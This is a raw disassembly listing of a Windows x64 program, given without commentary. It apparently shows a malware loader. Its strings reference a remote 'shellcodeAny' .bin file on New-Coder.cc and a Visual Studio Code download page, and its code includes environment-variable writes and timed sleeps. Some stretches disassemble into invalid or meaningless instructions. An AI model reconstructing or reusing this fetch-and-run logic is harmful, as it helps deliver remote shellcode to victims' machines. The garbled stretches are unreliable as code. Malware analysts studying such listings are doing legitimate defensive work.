lea rdx, str.https:__code.visualstudio.com_downloadDesktopUsers_desktop_file_count:
lea rcx, [rbp + 0x3e0]
mov r8d, 0x26
call fcn.14004e610
mov rax, qword [rbp + 0x3e0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000bf07
mov ecx, 2
mov r14, qword [rbp + 0x3e8]
jmp 0x14000bf6e
xorps xmm0, xmm0
movaps xmmword [rbp + 0x640], xmm0
movaps xmmword [rbp + 0x9e0], xmm0
movups xmm0, xmmword [rbp + 0x3e0]
movups xmm1, xmmword [rbp + 0x3f0]
movups xmm2, xmmword [rbp + 0x400]
movups xmm3, xmmword [rbp + 0x410]
movups xmmword [rbp + 0x976], xmm0
movups xmmword [rbp + 0x986], xmm1
movups xmmword [rbp + 0x996], xmm2
movups xmmword [rbp + 0x9a6], xmm3
movups xmm0, xmmword [rbp + 0x420]
movups xmmword [rbp + 0x9b6], xmm0
mov rcx, qword [rbp + 0x430]
mov qword [rbp + 0x9c6], rcx
xor ecx, ecx
lock inc qword [rsi]
jle 0x140010648
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], r14
movups xmm0, xmmword [rbp + 0x2a0]
movups xmmword [rbp + 0x70], xmm0
mov rcx, qword [rbp + 0x2b0]
mov qword [rbp + 0x80], rcx
mov qword [rbp + 0x88], 0
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 8
movaps xmm0, xmmword [rbp + 0x640]
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], 8
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xd0], 2
mov qword [rbp + 0xd8], 0
mov word [rbp + 0xe0], 0
movups xmm0, xmmword [rbp + 0x9be]
movups xmmword [rbp + 0x130], xmm0
movups xmm0, xmmword [rbp + 0x9b0]
movups xmmword [rbp + 0x122], xmm0
movups xmm0, xmmword [rbp + 0x970]
movdqu xmm1, xmmword [rbp + 0x980]
movdqu xmm2, xmmword [rbp + 0x990]
movups xmm3, xmmword [rbp + 0x9a0]
movups xmmword [rbp + 0x112], xmm3
movdqu xmmword [rbp + 0x102], xmm2
movdqu xmmword [rbp + 0xf2], xmm1
movups xmmword [rbp + 0xe2], xmm0
mov dword [rbp + 0x148], 0x3b9aca00
mov byte [rbp + 0x150], 1
mov dword [rbp + 0x151], 0
mov dword [rbp + 0x154], 0
movdqa xmm0, xmmword [rbp + 0x9e0]
movdqu xmmword [rbp + 0x158], xmm0
mov byte [rbp + 0x168], 2
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000c0d8
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x6c0]
call fcn.1400bdab0
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x6c0], rax
jne 0x14000c12a
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x60]
mov r8d, 0x118
call fcn.140106250
cmp dword [rbp + 0x2c0], 2
jne 0x14000c1c1
mov qword [rbp + 0x6f0], 2
mov rax, qword [rbp + 0x2c8]
mov rsi, qword [rbp + 0x3d0]
mov qword [rbp + 0x6f8], rax
lock dec qword [rsi]
je 0x14000c1e4
jmp 0x14000c1f0
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x6c0]
movdqa xmmword [rbp + 0x20], xmm0
lea rsi, [rbp + 0x6d8]
lea rcx, [rbp + 0x3e0]
lea rdx, [rbp + 0x60]
mov r8d, 0x118
call fcn.140106250
lea rcx, [rbp + 0x668]
lea rdx, [rbp + 0x20]
mov r8, rsi
call fcn.1400bddf0
cmp dword [rbp + 0x3e0], 2
jne 0x14000c5ee
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x60]
mov r8d, 0x118
call fcn.140106250
lea rcx, [rbp + 0x680]
mov rax, qword [rbp + 0x668]
mov rdx, qword [rbp + 0x670]
mov r8, qword [rbp + 0x678]
call qword [rax + 0x10]
cmp dword [rbp + 0x2c0], 2
je 0x14000c0fb
mov rsi, qword [rbp + 0x3d0]
lea rcx, [rbp + 0x6f0]
lea r8, [rbp + 0x2c0]
mov rdx, rsi
call fcn.140058910
lock dec qword [rsi]
jne 0x14000c1f0
lea rcx, [rbp + 0x3d0]
call 0x1400be970
lea rcx, [r12 + 8]
lea rdx, [rbp + 0x6f0]
mov r8d, 0x138
call fcn.140106250
lea rsi, [r12 + 8]
cmp dword [r12 + 8], 2
jne 0x14000bc20
mov rax, qword [r12 + 0x10]
mov qword [r12 + 0x10], 0
test rax, rax
je 0x14000fe87
mov qword [rbp + 0x3e0], 3
mov qword [rbp + 0x3e8], rax
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x3e0]
mov r8d, 0x98
call fcn.140106250
mov rcx, rsi
call fcn.140003480
cmp dword [rbp + 0xa00], 3
jne 0x14000c30c
mov qword [rbp + 0x3e0], r13
mov qword [rbp + 0x3e8], 1
mov qword [rbp + 0x3f0], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3f8], xmm0
lea rcx, [rbp + 0x3e0]
call fcn.1400de5e0
mov ecx, 3
call fcn.1400d5da0
cmp dword [rbp + 0xa00], 3
jne 0x14000c3d0
mov rsi, qword [rbp + 0xa08]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14000c2f8
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000c2f8
cmp qword [rbx + 0x10], 0x11
jb 0x14000c2e6
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d73c
jmp 0x14000d729
mov qword [rbp + 0x3e0], r13
mov qword [rbp + 0x3e8], 1
mov qword [rbp + 0x3f0], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3f8], xmm0
lea rcx, [rbp + 0x3e0]
call fcn.1400de5e0
lea rdi, [rbp + 0xa00]
mov rcx, rdi
call fcn.140002840
mov rax, qword [r12]
lock dec qword [rax]
jne 0x14000c362
mov rcx, r12
call fcn.140005440
mov byte [r15], 1
lea rdx, [0x1401136ed]
mov qword [rbp + 0x2c0], rdx
mov qword [rbp + 0x2c8], 0xb
lea rax, str.https:__New_Coder.cc_Users_shellcodeAny_20240506213700197.binREQWEST_URLx_
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 0x3d
lea rsi, [rbp + 0x6f0]
mov r8d, 0xb
mov rcx, rsi
call fcn.1400d9a20
mov rdx, qword [rbp + 0x6f0]
mov rcx, qword [rbp + 0x6f8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14000c445
mov rbx, rcx
jmp 0x14000c70f
cmp qword [rbp + 0xa50], 0
je 0x14000c3f0
mov r8, qword [rbp + 0xa48]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0xa20]
mov rbx, qword [rbp + 0xa28]
test rbx, rbx
je 0x14000c498
lea rdi, [rsi + 0x30]
jmp 0x14000c42b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x14000c498
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14000c410
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14000c410
mov qword [rbp + 0xac8], rdx
mov qword [rbp + 0xab0], rcx
mov rsi, r14
lea rdx, str.https:__New_Coder.cc_Users_shellcodeAny_20240506213700197.binREQWEST_URLx_
lea rcx, [rbp + 0x6f0]
mov r8d, 0x3d
call fcn.1400d9a20
mov r15, qword [rbp + 0x6f0]
mov r14, qword [rbp + 0x6f8]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x14000c6b4
mov rbx, r14
jmp 0x14000c6e5
cmp qword [rbp + 0xa18], 0
je 0x14000c4b4
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0xa38]
mov rbx, qword [rbp + 0xa40]
test rbx, rbx
je 0x14000c4eb
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x14000c4d0
cmp qword [rbp + 0xa30], 0
je 0x14000c507
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0xa60]
test rsi, rsi
je 0x14000d2ae
mov rax, qword [rsi + 8]
test rax, rax
je 0x14000d29c
mov qword [rbp + 0x958], rax
mov qword [rbp + 0xac8], r15
mov qword [rbp + 0xab8], r14
mov rax, qword [rsi]
mov qword [rbp + 0xab0], rax
mov r12, qword [rsi + 0x18]
test r12, r12
je 0x14000d24c
mov r15, qword [rbp + 0xab0]
movdqa xmm0, xmmword [r15]
pmovmskb edi, xmm0
not edi
lea r14, [r15 + 0x10]
jmp 0x14000c592
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [rdi - 1]
and eax, edi
mov edi, eax
dec r12
je 0x14000d24c
test di, di
jne 0x14000c5be
nop word [rax + rax]
movdqa xmm0, xmmword [r14]
pmovmskb edi, xmm0
add r15, 0xfffffffffffffe00
add r14, 0x10
cmp edi, 0xffff
je 0x14000c5a0
not edi
tzcnt eax, edi
shl eax, 5
mov rcx, r15
sub rcx, rax
mov rbx, qword [rcx - 0x10]
mov r13, qword [rcx - 8]
mov rcx, rbx
call qword [r13]
cmp qword [r13 + 8], 0
je 0x14000c582
cmp qword [r13 + 0x10], 0x11
jb 0x14000c570
mov rbx, qword [rbx - 8]
jmp 0x14000c570
movups xmm0, xmmword [0x140142af0]
movaps xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140142ae0]
movaps xmmword [rbp + 0x280], xmm0
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x6b0], rax
movdqu xmm0, xmmword [rbp + 0x668]
movdqu xmm1, xmmword [rbp + 0x678]
movdqa xmmword [rbp + 0x6a0], xmm1
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmmword [rbp + 0x2d0], xmm1
movdqa xmmword [rbp + 0x2c0], xmm0
mov eax, dword [rbp + 0x6b1]
mov ecx, dword [rbp + 0x6b4]
mov dword [rbp + 0x2e1], eax
mov dword [rbp + 0x2e4], ecx
lea rcx, [rbp + 0x408]
mov byte [rbp + 0x2e0], 1
lea rdx, [rbp + 0x280]
lea r8, [rbp + 0x2c0]
call fcn.1400be340
cmp al, 2
je 0x14000f8cf
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x3e0]
mov r8d, 0x118
call fcn.140106250
cmp dword [rbp + 0x2c0], 2
jne 0x14000c1c1
jmp 0x14000c0fb
mov rcx, qword [rbp + 0xab0]
mov rdx, r14
call qword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor ebx, ebx
test eax, eax
je 0x14000d4b8
test r15, r15
je 0x14000c6e5
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xac8], 0
mov r14, rsi
lea rsi, [rbp + 0x6f0]
mov r8, qword [rbp + 0xab0]
je 0x14000c70f
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14000fe9f
lea rdx, [0x1401136ed]
lea rcx, [rbp + 0x6f0]
mov r8d, 0xb
call fcn.1400d95e0
mov r9, qword [rbp + 0x6f0]
movabs rax, 0x8000000000000000
cmp r9, rax
je 0x14000be62
mov rax, qword [rbp + 0x6f8]
mov qword [rbp + 0xab0], rax
mov rax, qword [rbp + 0x700]
mov qword [rbp + 0xac8], rax
cmp byte [rbp + 0x708], 0
je 0x14000d34b
mov qword [rbp + 0xab8], r14
mov qword [rbp + 0x958], r9
mov qword [rbp + 0x9e0], 0
mov qword [rbp + 0x9e8], 1
mov qword [rbp + 0x9f0], 0
lea r15, [rbp + 0x3f0]
lea rbx, [rbp + 0x6f0]
lea r12, [rbp + 0x3e0]
xorps xmm6, xmm6
jmp 0x14000c7d5
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call rsi
lea rbx, [rbp + 0x6f0]
mov rcx, rbx
call fcn.14004f120
mov qword [rbp + 0x888], 0x1e
mov dword [rbp + 0x890], 0
mov rdi, r12
mov rcx, r12
mov rdx, rbx
call fcn.1400bea70
mov r12d, dword [rbp + 0x3f0]
mov r14, qword [rbp + 0x3e0]
cmp r12d, 0x3b9aca01
jne 0x14000c840
mov qword [rbp + 0x2c8], r14
mov qword [rbp + 0x2c0], 3
mov r12, rdi
jmp 0x14000ccf2
mov rsi, qword [rbp + 0x3e8]
mov eax, dword [rbp + 0x3f4]
mov qword [rbp + 0x640], r14
mov qword [rbp + 0x648], rsi
mov dword [rbp + 0x650], r12d
mov dword [rbp + 0x654], eax
mov qword [rbp + 0xa20], 0
mov qword [rbp + 0xa00], 0
mov qword [rbp + 0xa10], 0
mov rcx, rbx
lea rdx, [rbp + 0xa00]
mov r8, qword [rbp + 0xab0]
mov r9, qword [rbp + 0xac8]
call fcn.1400f6bd0
mov rbx, qword [rbp + 0x6f0]
movabs rax, 0x8000000000000000
cmp rbx, rax
jne 0x14000c930
movzx r13d, byte [rbp + 0x6f8]
movzx eax, byte [0x140182310]
mov edx, 1
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14000ea04
mov rbx, rax
mov byte [rax], r13b
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14000e9f5
mov rdx, rax
movabs rax, 0x8000000000000000
mov qword [rdx], rax
mov qword [rdx + 0x58], rbx
lea rax, [0x14013d208]
mov qword [rdx + 0x60], rax
mov word [rdx + 0x68], 0
jmp 0x14000cab5
mov r13, qword [rbp + 0x6f8]
lea rdx, [rbp + 0x700]
movups xmm0, xmmword [rdx]
movdqu xmm1, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movaps xmmword [rbp + 0x3e0], xmm0
movdqa xmmword [rbp + 0x3f0], xmm1
movdqa xmmword [rbp + 0x400], xmm2
movzx ecx, byte [rbp + 0x730]
mov rax, qword [rdx + 0x40]
mov qword [rbp + 0x97f], rax
movdqu xmm0, xmmword [rdx + 0x31]
movdqa xmmword [rbp + 0x970], xmm0
test cl, cl
je 0x14000ca35
movaps xmm0, xmmword [rbp + 0x3e0]
movdqa xmm1, xmmword [rbp + 0x3f0]
movdqa xmm2, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x710], xmm2
movdqa xmmword [rbp + 0x700], xmm1
movaps xmmword [rbp + 0x6f0], xmm0
movaps xmm3, xmmword [rbp + 0x970]
movaps xmmword [rbp + 0xa00], xmm3
mov rax, qword [rbp + 0x97f]
mov qword [rbp + 0xa0f], rax
movaps xmmword [rbp], xmm6
movaps xmmword [rbp + 0x970], xmm0
movdqa xmmword [rbp + 0x980], xmm1
movdqa xmmword [rbp + 0x990], xmm2
mov rax, qword [rbp + 0xa0f]
mov qword [rbp + 0x4f], rax
movdqa xmm0, xmmword [rbp + 0xa00]
movdqa xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x10], xmm6
xor eax, eax
mov qword [rbp + 0xad8], rbx
mov qword [rbp + 0x9d8], r13
mov byte [rbp + 0xad0], cl
xor ecx, ecx
lea r13, [0x140113240]
mov rdx, qword [rbp + 0x960]
jmp 0x14000cac3
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14000e9f5
mov rdx, rax
mov qword [rax + 0x58], 1
lea rax, [0x14013cec0]
mov qword [rdx + 0x60], rax
mov word [rdx + 0x68], 0
mov qword [rdx], rbx
mov qword [rdx + 8], r13
movaps xmm0, xmmword [rbp + 0x3e0]
movdqa xmm1, xmmword [rbp + 0x3f0]
movdqa xmm2, xmmword [rbp + 0x400]
movups xmmword [rdx + 0x10], xmm0
movdqu xmmword [rdx + 0x20], xmm1
movdqu xmmword [rdx + 0x30], xmm2
mov byte [rdx + 0x40], 0
movdqa xmm0, xmmword [rbp + 0x970]
movdqu xmmword [rdx + 0x41], xmm0
mov rax, qword [rbp + 0x97f]
mov qword [rdx + 0x50], rax
mov ecx, 2
mov al, 1
lea r13, [0x140113240]
lea rbx, [rbp + 0x6f0]
lock inc qword [r14]
jle 0x140010648
mov qword [rbp + 0x518], r14
mov qword [rbp + 0x520], rsi
mov dword [rbp + 0x528], r12d
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x960], rdx
mov qword [rbp + 0x3e8], rdx
mov rcx, qword [rbp - 8]
mov qword [r15 + 0x10], rcx
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [r15], xmm0
mov qword [rbp + 0x408], 0
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [r15 + 0x20], xmm0
mov qword [rbp + 0x420], 0
mov qword [rbp + 0x428], 8
movaps xmm0, xmmword [rbp]
movups xmmword [r15 + 0x40], xmm0
mov qword [rbp + 0x440], 8
mov qword [rbp + 0x448], 0
mov qword [rbp + 0x450], 2
mov qword [rbp + 0x458], 0
mov word [rbp + 0x460], 0
movzx ecx, word [rbp + 0x666]
mov word [r15 + 0x76], cx
mov ecx, dword [rbp + 0x662]
mov dword [r15 + 0x72], ecx
mov rcx, qword [rbp + 0xad8]
mov qword [rbp + 0x468], rcx
mov rcx, qword [rbp + 0x9d8]
mov qword [rbp + 0x470], rcx
movaps xmm0, xmmword [rbp + 0x970]
movaps xmm1, xmmword [rbp + 0x980]
movdqa xmm2, xmmword [rbp + 0x990]
movdqu xmmword [r15 + 0xa8], xmm2
movups xmmword [r15 + 0x98], xmm1
movups xmmword [r15 + 0x88], xmm0
movzx ecx, byte [rbp + 0xad0]
mov byte [rbp + 0x4a8], cl
mov rcx, qword [rbp + 0x4f]
mov qword [r15 + 0xc8], rcx
movaps xmm0, xmmword [rbp + 0x40]
movups xmmword [r15 + 0xb9], xmm0
mov dword [rbp + 0x4c8], 0x3b9aca00
mov byte [rbp + 0x4d0], 1
mov dword [r15 + 0xe4], 0
mov dword [r15 + 0xe1], 0
movaps xmm0, xmmword [rbp + 0x10]
movups xmmword [r15 + 0xe8], xmm0
mov byte [rbp + 0x4e8], 2
mov ecx, dword [rbp + 0x639]
mov edx, dword [rbp + 0x63c]
mov dword [r15 + 0xfc], edx
mov dword [r15 + 0xf9], ecx
mov qword [rbp + 0x4f0], 2
movdqu xmm0, xmmword [rbp + 0x20]
movdqu xmm1, xmmword [rbp + 0x30]
movdqu xmmword [r15 + 0x118], xmm1
movdqu xmmword [r15 + 0x108], xmm0
test al, al
jne 0x14000cca4
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x468]
call fcn.1400bdab0
movabs rax, 0x8000000000000000
cmp qword [rbp + 0xa00], rax
jne 0x14000ce14
mov r8d, 0x150
lea rsi, [rbp + 0x60]
mov rcx, rsi
mov r12, rdi
mov rdx, rdi
call fcn.140106250
lea rcx, [rbp + 0x2c0]
mov rdx, rsi
call fcn.1400c53b0
lock dec qword [r14]
jne 0x14000ccdd
lea rcx, [rbp + 0x640]
call fcn.140005f40
cmp qword [rbp + 0x2c0], 3
jne 0x14000cf52
mov r14, qword [rbp + 0x2c8]
mov qword [rbp + 0x6f0], r13
mov qword [rbp + 0x6f8], 1
mov qword [rbp + 0x700], 8
movups xmmword [rbp + 0x708], xmm6
mov rcx, rbx
call fcn.1400de5e0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14000cda9
mov rbx, rax
mov qword [rbp + 0x6f0], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x6f0]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14000cda0
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r12d, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp r12d, 0xffffffff
mov r12, rdi
je 0x14000cda9
mov rbx, qword [r14 + 0x58]
test rbx, rbx
jne 0x14000cdbd
jmp 0x14000cdea
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
mov rbx, qword [r14 + 0x58]
test rbx, rbx
je 0x14000cdea
mov rsi, qword [r14 + 0x60]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
jle 0x14000cdd2
invalid
je 0x14000cdea
jle 0x14000cdd2
add byte [rbp + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
cmp qword [rsi + 0x10], 0x11
jb case.0x14008ba4b.101
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r14]
shl rax, 1
test rax, rax
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14000c7c0
mov r8, qword [r14 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call rsi
jmp 0x14000c7c0
mov rax, qword [rbp + 0xa10]
mov qword [rbp + 0x2b0], rax
movdqu xmm0, xmmword [rbp + 0xa00]
movdqa xmmword [rbp + 0x2a0], xmm0
mov r8d, 0x150
mov rcx, rbx
mov r12, rdi
mov rdx, rdi
call fcn.140106250
lea rcx, [rbp + 0x668]
lea rdx, [rbp + 0x2a0]
lea r8, [rbp + 0xa18]
call fcn.1400bddf0
nop
ud2
add byte [rbx + 0x6f0bd], al
add byte [rdx], al
jne 0x14000cea2
nop
ud2
mov r8d, 0x150
lea rsi, [rbp + 0x60]
add dword [rax], eax
add byte [rax - 0x73], cl
jne 0x14000ced3
mov rcx, rsi
mov rdx, r12
call fcn.140106250
mov rax, qword [rbp + 0x668]
mov rdx, qword [rbp + 0x670]
mov r8, qword [rbp + 0x678]
lea rcx, [rbp + 0x680]
call qword [rax + 0x10]
jmp 0x14000ccbc
movups xmm0, xmmword [0x140142af0]
movaps xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140142ae0]
movaps xmmword [rbp + 0x280], xmm0
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x6b0], rax
movdqu xmm0, xmmword [rbp + 0x668]
movdqu xmm1, xmmword [rbp + 0x678]
add bl, dh
movq mm1, qword [rbp + 0x678]
movdqa xmmword [rbp + 0x6a0], xmm1
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmmword [rbp + 0x6d0], xmm1
movdqa xmmword [rbp + 0x6c0], xmm0
lea rcx, [rbp + 0x6b1]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
lea rdx, [rbp + 0x6e1]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov byte [rbp + 0x6e0], 1
lea rcx, [rbp + 0x718]
lea rdx, [rbp + 0x280]
lea r8, [rbp + 0x6c0]
call fcn.1400be340
cmp al, 2
je 0x14000f8cf
mov r8d, 0x150
lea rsi, [rbp + 0x60]
mov rcx, rsi
mov rdx, rbx
jmp 0x14000ccb7
lea rsi, [rbp + 0x6f0]
lea rdx, [rbp + 0x2c0]
mov r8d, 0xc0
mov rcx, rsi
call fcn.140106250
lea rdx, [rbp + 0x9e0]
mov rcx, rsi
call fcn.140002010
mov rsi, rdx
test rax, rax
jne 0x14000d4d9
test rsi, rsi
je 0x14000d3f7
mov eax, 0x2000
mov qword [rbp + 0xac8], rax
mov rdi, qword [rbp + 0x9f0]
movabs rsi, 0x2600000003
xor r15d, r15d
mov r12, qword [rbp + 0x9e0]
mov rax, r12
or rax, rdi
jne 0x14000d010
lea rcx, [rbp + 0x6f0]
lea rdx, [rbp + 0x9e0]
call fcn.140002010
test rax, rax
jne case.0x14000d1cf.2
test rdx, rdx
je 0x14000d3f7
mov r12, qword [rbp + 0x9e0]
mov rdi, qword [rbp + 0x9f0]
sub r12, rdi
je 0x14000d015
mov r14, qword [rbp + 0x9e8]
jmp 0x14000d096
sub r12, rdi
jne 0x14000cff9
mov r12, rdi
add r12, 0x20
jb 0x14000d4d9
lea rax, [rdi + rdi]
cmp rax, r12
cmova r12, rax
test rdi, rdi
je 0x14000d050
mov rax, qword [rbp + 0x9e8]
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3f0], rdi
mov eax, 1
jmp 0x14000d052
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rbp + 0x3e8], rax
lea rcx, [rbp + 0x60]
mov r8, r12
lea r9, [rbp + 0x3e0]
call fcn.140006cc0
cmp qword [rbp + 0x60], 0
jne 0x14000d4d9
mov r14, qword [rbp + 0x68]
mov qword [rbp + 0x9e8], r14
mov qword [rbp + 0x9e0], r12
sub r12, rdi
mov rbx, qword [rbp + 0xac8]
cmp r12, rbx
cmovb rbx, r12
mov r8, rbx
sub r8, r15
jb 0x14000ff62
add r14, rdi
add r15, r14
mov rcx, r15
xor edx, edx
call fcn.1401069d0
lea rdi, [rbp + 0x6f0]
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call fcn.1400c7ae0
test rax, rax
je 0x14000d1e0
test rdx, rdx
je 0x14000d3f7
mov eax, edx
and eax, 3
lea rcx, [0x1401756ec]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0xf], 0x23
jne case.0x14000d1cf.2
nop word cs:[rax + rax]
mov rax, rdx
dec rax
mov qword [rbp + 0xac0], rax
mov rdi, qword [rdx - 1]
mov r13, qword [rdx + 7]
mov rcx, rdi
call qword [r13]
cmp qword [r13 + 8], 0
invalid
je 0x14000d160
cmp qword [r13 + 0x10], 0x11
lea r13, [0x140113240]
mov r15, qword [sym.imp.kernel32.dll_HeapFree]
mov edi, dword [sym.imp.kernel32.dll_HeapFree]
jb 0x14000d14c
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call r15
jmp 0x14000d16e
lea r13, [0x140113240]
mov r15, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0xac0]
call r15
xlatb
xlatb
lea rdi, [rbp + 0x6f0]
jmp 0x14000d1a0
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
jne case.0x14000d1cf.2
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call fcn.1400c7ae0
test rax, rax
je 0x14000d1e0
test rdx, rdx
je 0x14000d3f7
mov eax, edx
and eax, 3
lea rcx, [0x1401756fc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x14000d1a0
jmp case.0x14000d1cf.2
cmp rbx, rdx
jb 0x140010097
test rdx, rdx
je 0x14000d3f7
mov rdi, qword [rbp + 0x9f0]
add rdi, rdx
mov rcx, qword [rbp + 0xac8]
lea rax, [rcx + rcx]
test rcx, rcx
mov r8, 0xffffffffffffffff
cmovs rax, r8
sub rbx, rdx
mov qword [rbp + 0x9f0], rdi
cmovne rax, rcx
cmp r12, rcx
cmovae rcx, rax
mov qword [rbp + 0xac8], rcx
mov r15, rbx
mov r12, qword [rbp + 0x9e0]
mov rax, r12
or rax, rdi
jne 0x14000d010
jmp 0x14000cfc1
mov rcx, qword [rbp + 0x958]
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
mov r12, qword [rbp + 0x968]
lea r13, [0x140113240]
mov r14, qword [rbp + 0xab8]
mov r15, qword [rbp + 0xac8]
je 0x14000d29c
mov r8, qword [rbp + 0xab0]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0xa70]
test rax, rax
je 0x14000d2d7
lea rcx, [rbp + 0xa88]
mov rdx, qword [rbp + 0xa78]
mov r8, qword [rbp + 0xa80]
call qword [rax + 0x10]
jmp 0x14000d71c
mov rsi, qword [rbp + 0xa78]
mov rdi, qword [rbp + 0xa80]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000d30e
cmp qword [rdi + 0x10], 0x11
jb 0x14000d2fc
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0xa88]
test rsi, rsi
je 0x14000d71c
mov rcx, rsi
call fcn.1400ec9d0
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x14000d6ec
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14000d6fa
call fcn.140005600
jmp 0x14000d6fa
cmp qword [rbp + 0xac8], 0
je 0x14000c774
mov rdx, qword [rbp + 0xab0]
mov rax, qword [rbp + 0xac8]
add rax, rdx
jmp 0x14000d38c
add rdx, 2
